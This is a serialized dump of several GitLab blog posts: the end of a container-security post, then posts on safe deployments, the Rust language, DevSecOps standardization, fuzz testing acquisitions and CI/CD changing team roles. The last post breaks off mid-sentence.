src=\"https://www.youtube.com/embed/03n4C60YnDQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### Execution\n\nIn case the previous counter-measures have failed to prevent initial access to our system, we have another layer of defense against attacks. Even after a vulnerable application is deployed to a publicly accessible environment, we can still detect and prevent cyberattacks.\n\n#### Detection\n\nIn our examples, the attacker modified the container filesystem and created new processes by executing malicious code. These actions can be detected and logged, as shown in the demonstration video below. Additionally, the logs can be sent to a SIEM with Gitlab's [SIEM integration](https://docs.gitlab.com/ee/update/removals.html), enabling a security operations team to be notified of the suspicious activity within seconds of it happening.\n\nAs part of our [Container Host Security](https://about.gitlab.com/direction/govern/) features, you can [enable logging of system calls](https://docs.gitlab.com/ee/update/removals.html) on any containers in your [Kubernetes cluster](https://docs.gitlab.com/ee/user/project/clusters/).\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/WxBzBz76FxU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n#### Prevention\n\nGitLab is able to prevent all attack examples described earlier: Lateral Movement, Reverse Shell, filesystem modification, and malicious code execution attacks.\n\nBy deploying a [Network Policy](https://docs.gitlab.com/ee/topics/autodevops/stages.html#network-policy) to your Kubernetes cluster, the compromised container would not be allowed to create an outbound connection to the attacker through the Internet. Similarly, the Executable Exploit would be prevented from probing other pods in a cluster network due to policy restrictions.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pgUEdhdhoUI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nTo prevent filesystem modification and restrict code execution, [Pod Security Policies](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) [are supported](https://docs.gitlab.com/ee/update/removals.html) as part of our Container Host Security features.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/fPy53c3rbAs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Conclusion\n\nThe number of container-based applications will continue to grow along with the necessity to secure them, and our new [Container Host Security](/direction/govern/) category is part of the GitLab strategy to enable organizations to proactively protect their cloud-native environments.\n\nIn this blog post, we highlighted only a few of the DevSecOps features currently available in GitLab. For additional existing and upcoming functionality, please visit the product direction pages for [Protect](/direction/govern/) and [Secure](/direction/secure/).\n\nCover image by [JJ Ying](https://unsplash.com/@jjying) on [Unsplash](https://unsplash.com).\n{: .note}\n",[2509,674,4144],{"slug":22604,"featured":6,"template":678},"container-security-in-gitlab","content:en-us:blog:container-security-in-gitlab.yml","Container Security In Gitlab","en-us/blog/container-security-in-gitlab.yml","en-us/blog/container-security-in-gitlab",{"_path":22610,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22611,"content":22617,"config":22622,"_id":22624,"_type":16,"title":22625,"_source":17,"_file":22626,"_stem":22627,"_extension":20},"/en-us/blog/safe-deploys",{"title":22612,"description":22613,"ogTitle":22612,"ogDescription":22613,"noIndex":6,"ogImage":22614,"ogUrl":22615,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22615,"schema":22616},"GitLab's guide to safe deployment practices","It's important to safeguard your deployment process. Here's our best advice to protect your environments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678412/Blog/Hero%20Images/safe_deploy.jpg","https://about.gitlab.com/blog/safe-deploys","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's guide to safe deployment practices\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Orit Golowinski\"}],\n        \"datePublished\": \"2020-07-23\",\n      }",{"title":22612,"description":22613,"authors":22618,"heroImage":22614,"date":22619,"body":22620,"category":734,"tags":22621},[15485],"2020-07-23","\nHere at GitLab we understand the importance of safe deployment practices. \n\n[Progressive delivery](/direction/ops/#progressive-delivery) is continuous delivery with fine-grained control over who sees the change. This ensures that all code and configuration updates go through the [CI/CD stages](/topics/ci-cd/) to catch any regressions or bugs before they reach customers. If something does make it past those gates, progressive delivery makes sure any negative impact is as small as possible.\n\nWe have recently added several features that add safeguards to your deployment process, which we will review in this blog post.\n\n### Protected Environments\n\nIt is important that deploy jobs are restricted to only those who are authorized to deploy in that environment, and we call this restriction by roles \"protected\". While this feature has been around for a while, it is important to remember that this should be the first step to take when thinking about safe deployments. \n\nTake a deeper dive into [protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments.html).\n\n### Sequential Deployment (or Safe Continuous Deployment)\n\nIf your project follows the Continuous Deployment practice that deploys the `master` branch to the production environment with GitLab CI/CD pipelines, you may encounter the following problems due to the asynchronous nature of pipeline jobs:\n\n- Multiple deployment jobs run concurrently, targeting the same environment. This can make the environment unstable because the deployment script could conflict and finish in an incomplete state.\n- An older deployment job could overwrite the latest deployment, resulting in an unintentional rollback. Some users could be exposed to old feature sets on the production website even though the pipeline shows that the latest deployment job successfully finished.\n- A pipeline might deploy to production at the worst time, such as on a holiday or over the weekend, when there is limited staff available to solve potential problems.\n\nTo address these problems, GitLab provides the following options:\n\n* [Limit job concurrency](https://docs.gitlab.com/ee/ci/yaml/#resource_group)\n* [Prevent deployment of old versions](https://docs.gitlab.com/ee/ci/pipelines/settings.html#skip-outdated-deployment-jobs)\n* [Deploy freeze](https://docs.gitlab.com/ee/user/project/releases/index.html#prevent-unintentional-releases-by-setting-a-deploy-freeze)\n\n## Limit job concurrency\n\nYou can limit deployment concurrency by adding a `resource_group` to any `.gitlab-ci.yml` jobs that should run one at a time. For example:\n\n* Pipeline-A starts running with SHA-A\n* Pipeline-B starts running with SHA-B (newer)\n* Pipeline-A starts a deployment\n* Pipeline-B waits for Pipeline-A's deployment to finish\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/m6eZb6U-M2A\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### Prevent deployment of old versions\n\nThe execution order of pipeline jobs can vary from run to run, which could cause undesired behavior. For example, a deployment job in a newer pipeline could finish before a deployment job in an older pipeline. This creates a race condition where the older deployment finishes later, overwriting the \"newer\" deployment.\n\nYou can ensure that older deployment jobs are cancelled automatically when a newer deployment runs by enabling the [prevent deployment of old versions](https://docs.gitlab.com/ee/ci/pipelines/settings.html#skip-outdated-deployment-jobs) feature.\n\n* Pipeline-A starts running with SHA-A\n* Pipeline-B starts running with SHA-B (newer)\n* Pipeline-B finishes. Now SHA-B is on the production environment\n* Pipeline-A is canceled automatically because it was going to deploy SHA-A to production\n\n![Prevent deployment of old versions](https://about.gitlab.com/images/blogimages/older_job.png){: .shadow}\n\n## Deployment Freeze\n\nTo prevent deployments for a particular period, such as during a planned holiday when most employees are out, you can set up a deploy freeze. During a deploy freeze, no deployments can be executed. This is helpful to ensure that deployments do not happen unexpectedly.\n\nFind more detailed information about [deployment safety](https://docs.gitlab.com/ee/ci/environments/deployment_safety.html).\n\n**Read more about GitLab and safety:**\n\n* [Capitalize on GitLab security tools](https://docs.gitlab.com/ee/integration/jenkins.html)\n\n* How app sec engineers [can use GitLab to improve security](/blog/secure-stage-for-appsec/)\n\n* Wondering [how secure GitLab is?](/blog/soc2-compliance/)\n\nCover image by [Mathew Schwartz](https://unsplash.com/photos/qcpwU_oMyu8) on [Unsplash](https://unsplash.com)\n{: .note}\n",[110,774,674],{"slug":22623,"featured":6,"template":678},"safe-deploys","content:en-us:blog:safe-deploys.yml","Safe Deploys","en-us/blog/safe-deploys.yml","en-us/blog/safe-deploys",{"_path":22629,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22630,"content":22635,"config":22640,"_id":22642,"_type":16,"title":22643,"_source":17,"_file":22644,"_stem":22645,"_extension":20},"/en-us/blog/rust-programming-language",{"title":22631,"description":22632,"ogTitle":22631,"ogDescription":22632,"noIndex":6,"ogImage":20537,"ogUrl":22633,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22633,"schema":22634},"A guide to Rust programming language","Rust is a well-loved programming language but it is a mindset shift from options like C++. Here's a tutorial and an inside look at Rust code and its capabilities.","https://about.gitlab.com/blog/rust-programming-language","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A guide to Rust programming language\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-07-21\",\n      }",{"title":22631,"description":22632,"authors":22636,"heroImage":20537,"date":22637,"body":22638,"category":8943,"tags":22639},[11618],"2020-07-21","\n\n## What is Rust?\n\nRust is an open source programming language that has been the \"most loved language\" on developer community Stack Overflow's annual survey for the last four years. While it's a popular language in that sense, only a very, _very_ small number of developers actually use Rust language today – a July 2020 look at the PYPL PopularitY of Programming Languages Index ranks it at number 18 with just .81% interest. (For comparison Python is at nearly 32% and Java is over 17%.)\n\nSo why the intense love of the Rust programming language? To put it simply, Rust coding was created to solve problems present in other languages and if you can take the time to unlock its (admittedly difficult) secrets, you're rewarded with cleaner, faster, and most importantly, safer code. Rust code resolves pain points that you see in countless other programming languages with far fewer downsides. Utilizing Rust allows developers to decide when they no longer need memory at the time of compilation which creates more efficiency around memory usage.\n\n[Antony Saba](/company/team/#asaba), a senior security engineer with Strategic Security at GitLab, recently talked about Rust during a company-wide series of meetings ([Contribute 2020](/events/gitlab-contribute/)). He speaks from experience as his last employer was a Rust-based company. \"Okay, so what's Rust's promise?\" Saba asked. \"Rust's promise is that it should be easier, and everybody should be able to fearlessly write at a systems level and not have to worry about memory safety or thread safety, or at least worry about it in the way that is supported by the language and the tools.\"\n\nLet's unpack what that means.\n\n## History of Rust programming language\n\nThe [open source Rust community](https://www.rust-lang.org) describes the language as fast, reliable and productive. \"Hundreds of companies around the world are using Rust in production for fast, low-resource cross-platform solutions,\" the organization says. Firefox and DropBox are two well-known users of Rust today, and Mozilla (creator of Firefox) was the first original supporter of Rust.\n\n### Who created Rust?\n\nRust code was originally developed as an open source project by software developer Graydon Hoare while working at Mozilla Research in 2006 and has been maintained by the Rust Foundation since 2021. It’s now one of the top drivers of the Rust programming language. \n\nThink of Rust as the answer to a data-rich problem that will likely need lots of computational cycles. Mozilla's [Rust documentation](https://research.mozilla.org/rust/) specifically calls out the language as ideal for \"game engines, operating systems, file systems, browser components and simulation engines for virtual reality.\"\n\n## Benefits of programming in Rust\n\nThe top benefit of Rust coding is its adept memory management. Although there are other programming languages that emphasize memory safety like Rust code, Rust handles the concept differently in that it doesn’t use a garbage collector as other programming languages do. Instead, Rust uses a borrow checker to track variable scope and object lifetime while simultaneously administering high-quality memory safety and stopping concurrent data races. \n\nThe benefits of programing in Rust don’t stop at memory management. It’s fast and reliable for creating web apps and creating cross-platform applications, and it can integrate with preexisting code. \n\nOne of the other major benefits of Rust programming language is that it is well-suited for projects that demand extremely high performance. Its ability to process large amounts of data and CPU-intensive operations makes it a strong competitor in the developer space. \n\nOther Rust feature benefits offer a list of features that makes it stand out from other programming languages. Here are some of the features:\n\n1. It’s more user-friendly.\n2. You’ll find high-quality documentation about the language.\n3. It has a better resolution of memory errors and concurrent programs than C and C++ languages.\n4. It’s incredibly fast and highly secure compared to other languages.\n\n## The Rust ecosystem\n\nThe [JetBrains 2021 Developer Ecosystem Report](https://www.jetbrains.com/lp/devecosystem-2021/rust/) found that Rust developers have mostly been using it for less than six months, and often reach for the language for \"hobby\" or personal projects. What are devs primarily writing with Rust? The report found command line interface tools, systems programming and web development were the most popular options.\n\nMany companies have started using Rust, though. In 2020, [Discord switched from Go to Rust](https://discord.com/blog/why-discord-is-switching-from-go-to-rust), and Shopify, Dropbox, AWS and many others use it as well. \n\n## The basics of Rust programming language\n\nRust is a bit of a hybrid, according to Mozilla's Rust documentation. Rust offers developers the syntax advantages of high-level languages with the \"control and performance of a low-level language,\" the documentation explains.\n\nRust is a statically typed language rather than a dynamic one. Though developers like to argue the merits of both, Rust, like popular TypeScript, eliminates the frustration of \"dynamic typing.\" Data is constrained and checked by a compiler so confusion is minimized. Rust programming also makes it very hard to ignore errors – Steve Donovan, author of [\"A Gentle Guide to Rust,\"](https://stevedonovan.github.io/rust-gentle-intro/) jokes it can be hard not to think the compiler is shouting at you when you make a mistake.\n\nDonovan identifies Rust's key principles as:\n\n* Strictly enforcing safe borrowing of data\n* Functions, methods, and closures to operate on data\n* Tuples, structs, and enums to aggregate data\n* Pattern matching to select and destructure data\n* Traits to define behaviour on data\n\n## Types of Rust coding\n\nRust treats values by breaking them down into \"types\" in order to handle the data appropriately. According to MIT's guide to Rust, there are a number of types that can be split into scalar or integer types. Scalar types will likely be familiar to those who work with other programming languages: characters, Booleans, floating-point numbers and integers. They all represent a single value. Compound types are what they sound like – multiple types together.  \n\n## Who uses Rust?\n\nAll of the guardrails mentioned lead to a language that can create fast-moving code with few things that slow it down. There's no runtime or garbage collection, making coding in Rust ideal for applications where memory usage is at a premium (like embedded devices). But if there is a place where Rust really stands out, it's security. Donovan points out that Rust is \"safe by default,\" unlike C or C++. No one can corrupt memory by default, he writes.\n\n## The Rust programming language and productive coding\n\nAfter three years of coding in Rust, Antony was quick to say he's probably more productive with the language than any other.\n\n\"I really do feel like Rust was the most productive language I've ever used,\" he says. \"Once you are doing everything in that functional style, you're writing less code, but it's still clearer, because you don't have temporary variables. They're a thing that you don't really end up using when you're writing code that way. So, to me, it's those little things that I get the productivity out of.\"\n\n## Rust can be touchy, but rewarding\n\nProductive, sure, but there's a learning curve with Rust.\n\n\"It's true the borrow checker is the hardest part,\" Antony says. \"But the thing is, once you get past that, there is a serious dopamine hit when that program compiles, because it means now you only have your own logic errors to deal with. Part of that pain is explicitly some of the things that you assume, and some of the little white lies that you tell yourself when you're starting, especially with a C program. Because when you start your C program, it's like, 'all right, I have a couple command line parameters, I don't really want to write all my functions just to pass them, so I'm just going to declare a couple global variables and shove them in there, and I'll clean it up later.' Right? It's one of those little lies we tell ourselves. But you can't have immutable global variables in Rust. It just won't let you. You have to wrap it – you may as well just do the functions right. They're going to use your command-line arguments. It's the same with thread safety. You kind of have to do that upfront, and you don't get to make that assumption.\"\n\n## Looking to the future of the Rust programming language\n\nRust has a bright future, even if it might not be as widespread as other languages, Antony explains. \"I don't think it's ever going to be as popular as Go, just because Google is Google, and there's a lot of places that Go is really good for,\" he says. \"But for those places where you really want that fearless development, I think it'll continue to have a strong hold there.\"\n\nWatch Antony's Rust demo in full here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/INT_rGJr6JQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Read more about programming languages:**\n\nCan we solve the [COBOL programmer shortage?](/blog/cobol-programmer-shortage/)\n\nWhy we use [Ruby on Rails](/blog/why-we-use-rails-to-build-gitlab/) to build GitLab\n\nHow [Modern C and C ++ work](/blog/conan-c-cpp-package-management-integration/)\n\nCover image by [Zsolt Palatinus](https://unsplash.com/@sunitalap) on [Unsplash](https://unsplash.com)\n{: .note}\n",[815,674,696],{"slug":22641,"featured":6,"template":678},"rust-programming-language","content:en-us:blog:rust-programming-language.yml","Rust Programming Language","en-us/blog/rust-programming-language.yml","en-us/blog/rust-programming-language",{"_path":22647,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22648,"content":22654,"config":22660,"_id":22662,"_type":16,"title":22663,"_source":17,"_file":22664,"_stem":22665,"_extension":20},"/en-us/blog/devsecops-security-standardization",{"title":22649,"description":22650,"ogTitle":22649,"ogDescription":22650,"noIndex":6,"ogImage":22651,"ogUrl":22652,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22652,"schema":22653},"DevSecOps basics: 5 steps to standardize (and then scale) security","DevSecOps is incomplete without speed and scale. Standardize security to make it happen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663613/Blog/Hero%20Images/devsecops-security-standardization.jpg","https://about.gitlab.com/blog/devsecops-security-standardization","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevSecOps basics: 5 steps to standardize (and then scale) security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2020-07-20\",\n      }",{"title":22649,"description":22650,"authors":22655,"heroImage":22651,"date":22657,"body":22658,"category":8943,"tags":22659},[22656],"Vanessa Wegner","2020-07-20","\n_This is the fifth in our five-part series on [DevSecOps](/topics/devsecops/) basics. Part one offers nine tips to truly [shift left](https://about.gitlab.com/blog/efficient-devsecops-nine-tips-shift-left/). Part two outlines the steps needed to create [silo-free collaboration](https://about.gitlab.com/blog/achieve-devsecops-collaboration/). Part three looks at the importance of [automated security testing](https://about.gitlab.com/blog/devsecops-security-automation/). And part four details how to create a [strong security culture](https://about.gitlab.com/blog/security-culture-devsecops/)._\n\nStandardizing security policies comes in a variety of forms: regulatory compliance, access controls, acceptable use policies, security as code, and automation, to name a few. Ultimately, the idea is that your security team knows exactly what policies and methods have been used or applied to each project. \n\nThe goals of standardization are consistency, traceability, and repeatability. By consistently using the same security methods across all work, security knows what has been protected and what hasn’t. This helps them apply additional measures where necessary, and makes them aware of any needed exceptions. Ensuring that security methods are repeatable helps to expand adoption and scale security to the entire organization or enterprise. \n\n## Building a standardized security program\n\nA holistic security program should be composed of different levels of policies and compliance. Some policies should be company-wide, such as an [acceptable use policy](https://whatis.techtarget.com/definition/acceptable-use-policy-AUP), some will fulfill regulations like the [GDPR](https://gdpr-info.eu/) or [CCPA](https://oag.ca.gov/privacy/ccpa), and some will be specific to certain organizations within your business. \n\n### Standardizing security in DevOps\n\n[DevSecOps can be executed sustainably](/solutions/security-compliance/) at scale with standardized security practices. Here are five ways to standardize security across all of your development projects.\n\n#### Educate\n\nProvide security training and education to every employee. Companywide security initiatives [help to build a security culture](https://about.gitlab.com/blog/security-culture-devsecops/) and empower employees to take responsibility for security in their own work. Standardized training also spreads awareness of mandatory policies and alerts employees to the actions taken to both secure day-to-day operations and protect their customers. \n\n#### Coordinate\n\nCoordinate a predefined set of security requirements among dev, sec, and ops that can be coded into your pipeline and applied to every project. These can ensure regulatory compliance, foster secure coding practices, trigger red flags or notifications, and educate employees on security best practices.\n\n#### Authenticate\n\nAccess controls are a critical component of any security framework, and should be continually monitored and evaluated. By keeping close tabs on who needs access to what, you’re able to build a solid wall around your most critical processes and assets. This eliminates unnecessary access to sensitive data, and helps streamline tracing, recovery, and remediation efforts when something goes wrong. Access control policies also help defend your business by enhancing authentication requirements.\n\n#### Integrate\n\nEmbed scan and test tools within your development pipeline. Static and dynamic application security testing (SAST and DAST, respectively) can be set to run at every code commit and in the review app. Other tools and tests include IAST, fuzzing, licence compliance, container scanning, and dependency scanning (among others). Embedding tools directly into the pipeline allows you to know exactly what the code has been evaluated for, and also what the code has not been checked for. \n\n#### Automate\n\nIn DevSecOps, automation is the true key to standardized security practices as it allows for fast, secure development at scale. There are a number of ways to automate security within and around your development pipeline – the trick is to find an appropriate balance between automation and manual intervention. Automated policies should serve as guardrails that guide development smoothly from one security check to the next, but they should also allow for exceptions when needed. These guardrails should automatically generate reports from code scans and consolidate them into a [security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) for review. This helps to minimize human error and any false positives or negatives, allows for consistent vulnerability reporting, and can be used to measure a team’s performance against secure coding expectations. Automation also helps to prevent overly complex security programs by reducing ad-hoc policies and redundant work.\n\n## The best security programs will change\n\nSecurity will never be a set-it-and-forget-it practice. The threat landscape is constantly changing, external regulations will continue to evolve, and internal business requirements will always keep you on your toes. While setting standards for security will help your team manage the workload, these standards need to be constantly re-evaluated and updated. Outdated security practices will undermine even the most solid programs, so it’s important to use part of the time saved from standardizing and automating to plan for the future. \n\n_How efficient are your DevSecOps practices? [Take our DevSecOps Maturity Assessment to find out.](https://about.gitlab.com/resources/devsecops-methodology-assessment/)_\n\n**Learn more about DevSecOps:**\n* [Case Study: How Jasper Solutions offers “DevSecOps in a box” with GitLab”](https://about.gitlab.com/customers/jasper-solutions/)\n* [How to capitalize on GitLab Security tools with external CI](https://docs.gitlab.com/ee/integration/jenkins.html)\n* [How to overcome toolchain security challenges with GitLab](https://about.gitlab.com/blog/toolchain-security-with-gitlab/)\n\nCover image by [Andrew Ridley](https://unsplash.com/@aridley88) on [Unsplash](https://unsplash.com/photos/jR4Zf-riEjI)\n{: .note}\n",[4103,674,1444,6141],{"slug":22661,"featured":6,"template":678},"devsecops-security-standardization","content:en-us:blog:devsecops-security-standardization.yml","Devsecops Security Standardization","en-us/blog/devsecops-security-standardization.yml","en-us/blog/devsecops-security-standardization",{"_path":22667,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22668,"content":22674,"config":22679,"_id":22681,"_type":16,"title":22682,"_source":17,"_file":22683,"_stem":22684,"_extension":20},"/en-us/blog/fuzz-testing",{"title":22669,"description":22670,"ogTitle":22669,"ogDescription":22670,"noIndex":6,"ogImage":22671,"ogUrl":22672,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22672,"schema":22673},"How recent acquisitions introduce fuzz testing to GitLab","Learn more about fuzz testing and GitLab's recent acquisitions in the space.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681436/Blog/Hero%20Images/peaches2.jpg","https://about.gitlab.com/blog/fuzz-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How recent acquisitions introduce fuzz testing to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2020-07-17\",\n      }",{"title":22669,"description":22670,"authors":22675,"heroImage":22671,"date":22676,"body":22677,"category":736,"tags":22678},[7599],"2020-07-17","\n\n{::options parse_block_html=\"true\" /}\n\nGitLab recently acquired two of the leading companies in the fuzz testing space - [Peach Tech](http://peach.tech/) and\n[Fuzzit](https://fuzzit.dev/)! These two companies bring amazing technology into GitLab. Read on the learn more about the technology and how you can easily integrate fuzz testing into your workflow.\n\n## What is fuzz testing?\nFuzz testing is a powerful way to test your apps to find security issues and\nflaws in business logic that traditional QA methods miss. Fuzz testing works by passing\nrandomly generated inputs to your app, and assesses the results.\n\nWhen the app being tested crashes or behaves in an unexpected way, this is\ncalled a \"fault.\" When a fault is discovered, that means there is a way for a user to provide a\nsimilar, but potentially malicious, input to your app in a production environment to crash or\nexploit it. Discovering faults lets you track down bugs in your code that\nyou wouldn't find otherwise and lets you fix them before an attacker can exploit these weaknesses.\n\nThere are a few different methods for fuzz testing. The two primary\nmethods are what we call \"coverage-guided\" fuzz testing and \"behavioral\"\nfuzz testing. Fuzzit and Peach Tech bring these to Gitlab, respectively. Both methods approach fuzz testing differently.\nCoverage-guided fuzz testing leverages the [source code](/solutions/source-code-management/) and instrumented versions\nof the app to be able to observe the app as it is running and dynamically make\nnew tests during a fuzz testing session to exercise new parts of the app to find bugs. Behavioral fuzzing\ntakes a specification of how the app is _supposed_\nto work and tries random inputs to test how it actually works - which usually\nwill find bugs and security issues. Coverage-guided fuzzing and behavioral fuzzing have unique\nadvantages and disadvantages, which is why GitLab aims to offer our users both options\nso you can choose the right one (or both!) for your use case.\n\n## What makes GitLab’s fuzz testing special?\nTraditionally, fuzz testing has been difficult to set up and hard get results from.\nSome of the challenges with fuzz testing include assembling complex testing harnesses to run the fuzz tests and sorting through large amounts of results, including false positives. These challenges can make it time consuming and challenging to get meaningful results from fuzz testing.\nBringing Peach Tech and Fuzzit fuzz testing techniques into the existing GitLab\nworkflow means users can take advantage of the powerful benefits of fuzz\ntesting without any of the traditional difficulties associated with fuzz testing.\nBy bringing these two technologies into GitLab, we will make it easy for users to integrate fuzz testing into their workflows and present results in a meaningful and actionable way.\n\n![Preview of fuzz testing results in an MR](https://about.gitlab.com/images/blogimages/fuzzing_image.png){: .shadow}\nPreview of fuzz testing results in an MR.\n{: .note.text-center}\n\nGitLab will make fuzz testing part of our existing workflow\nso users do not need to use an external tool or interface. Instead, users simply include\na CI job template to use the fuzz testing engines from Fuzzit and Peach Tech. Results will appear inline for developers, alongside the\nother build and test outputs they use today.\n\n## What about open source?\nOpen source is near and dear to our hearts at GitLab. We recently [moved several\nfeatures](/blog/new-features-to-core/) to\nour open source offering. We’ll continue supporting open source\nwith fuzz testing as well. We have published several of our fuzz testing\nengines as open source, so they are accessible to any user and everyone can contribute. This will\ninclude several of the language-specific coverage-guided [fuzz testing engines](https://gitlab.com/groups/gitlab-org/security-products/analyzers/fuzzers)\nas well as [Peach Tech Community Edition](https://gitlab.com/peachtech/peach-fuzzer-community). In the future, we will consider what\nnew fuzz testing pieces we can open source to the community as we build new\ncapabilities for different use cases. One area we are considering is what we\ncan do as we eventually move into [protocol fuzz testing](https://gitlab.com/gitlab-org/gitlab/-/issues/229275). Watch this space!\n\n## When can I get it?\nGitLab will release the minimal version of fuzz testing [later this year](/direction/maturity/#secure)\nas part of GitLab Ultimate. This release will enable behavioral-guided fuzz testing of\nweb APIs that follow the [OpenAPI](https://swagger.io/specification/) specification standard. We will also be\nenabling coverage-guided fuzz testing on apps written in a variety of languages,\nstarting with Go.\n\n## What’s next?\nGitLab is excited to add fuzz testing to the already large suite of\n[application security scanners](/topics/devsecops/) in GitLab’s [Secure stage](/stages-devops-lifecycle/secure/)\nand make it part of\nthe GitLab workflow that developers use already. This makes it easy to shift security\nleft and take advantage of the benefits of fuzz testing.\n\nAs we mature our fuzz testing offering, we will make\nintegrating fuzz testing results into new parts of the workflow a priority. So GitLab developers\ncan directly view fuzz testing results and fix any issues they find. We will also focus on enabling advanced\nconfiguration options for users who want to customize their fuzz tests.\nFinally, we will be expanding fuzz testing to address\nadditional use cases, beyond just web apps and APIs. You can read more about\nour plans for maturing fuzz testing on our [direction page](/direction/secure/dynamic-analysis/fuzz-testing/).\n\nCover image by [Ian Baldwin](https://unsplash.com/@ianebaldwin) on [Unsplash](https://unsplash.com/photos/f7FwHomDgzg)\n{: .note}\n",[754,815,674],{"slug":22680,"featured":6,"template":678},"fuzz-testing","content:en-us:blog:fuzz-testing.yml","Fuzz Testing","en-us/blog/fuzz-testing.yml","en-us/blog/fuzz-testing",{"_path":22686,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22687,"content":22692,"config":22697,"_id":22699,"_type":16,"title":22700,"_source":17,"_file":22701,"_stem":22702,"_extension":20},"/en-us/blog/ci-cd-changing-roles",{"title":22688,"description":22689,"ogTitle":22688,"ogDescription":22689,"noIndex":6,"ogImage":14534,"ogUrl":22690,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22690,"schema":22691},"A surprising benefit of CI/CD: Changing development roles","DevOps and CI/CD make for faster code release, but they're also causing sweeping changes in dev and ops roles and responsibilities.","https://about.gitlab.com/blog/ci-cd-changing-roles","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A surprising benefit of CI/CD: Changing development roles\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-07-16\",\n      }",{"title":22688,"description":22689,"authors":22693,"heroImage":14534,"date":22694,"body":22695,"category":8943,"tags":22696},[11618],"2020-07-16","\n\nWhen it comes to [CI/CD](/topics/ci-cd/) and [DevOps](/topics/devops/), the benefits are obvious: Get it right and cleaner code is released (a lot) faster.\n\nBut our [2020 Global DevSecOps Survey](/developer-survey/previous/2020/) found more subtle – and far less talked about – benefits. [CI/CD](https://docs.gitlab.com/ee/ci/) doesn't just allow developers to move faster and do more, it also allows them (and their operations counterparts) **to do less**. The automation required by CI/CD has drastically reduced the manual tasks involved in software development. With fewer time-consuming tasks, Dev and Ops roles and responsibilities are changing, in some cases dramatically.\n\nBut don't just take our word for it. We asked our 2020 survey takers to tell us in their own words how their roles and responsibilities are changing.\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\n## The back story\n\nTo understand the impact of CI/CD and DevOps, it helps to have the full picture. In our 2020 survey 83% of developers said they're releasing code faster than ever before. In fact, nearly 60% of them deploy multiple times a day, once a day, or once every few days (that's 15 percentage points higher than in 2019). Just in the last year about 21% of developers said their teams added CI to their process, while just over 15% brought in continuous deployment.\n\nThe benefits of these processes are clear, the developers told us:\n\n\"We've set up automated processes to build, test, and deploy code using a mixture of our own tools and open source tools.\"\n\n\"(We now have) automated tests, automated deployment on code review approval.\"\n\n\"A templatized CI/CD process has significantly sped up build and deploy times to multiple environments in multiple clouds.\"\n\n\"Automated testing using GitLab CI has meant less overhead when reviewing code and quicker and safer deploys.\"\n\n\"Automated testing and continuous integration have made our deployments safer and more optimized. Now everyone in the team has the permission to deploy the code.\"\n\n\"CI and CD tremendously reduced time for build and deploy applications and eliminated problems with the build environment.\"\n\n\"Automation has made one-click testing and deployment possible for us.\"\n\n\"Deployment has become a non-task. Bootstrapping new projects is 10x faster because of the reusable infrastructure.\"\n\n\"We reduced our CI build queue time by 75%, which allowed developers to have test results faster and allows QA to have build artifacts to test faster.\"\n\n\"Automation within the CI/CD pipeline (including test automation and the actual CD automation part) has significantly increased the delivery speed of our team.\"\n\nOne developer shared something that really resonated with us. In the pre-CI/CD world the developer had to submit a ticket to seven different departments before \"button press\" (deployment), a process that used to take six weeks. Now with automation, it takes just two hours.\n\n## Off the list\n\nWith all the changes brought by CI/CD we wondered what developers no longer have to do in order to release code. It's safe to say it was a long list! The number one change was no longer needing to do manual testing, followed closely by dropping manual deployments.\n\n\"There's no need to manually merge my code and push to staging and then production.\"\n\n\"(We don't have to) sync the code between multiple Devs – Git does it well.\"\n\n\"(I no longer have to) manually test, argue about code style, and update dependencies.\"\n\n\"We don't have to code our product to work 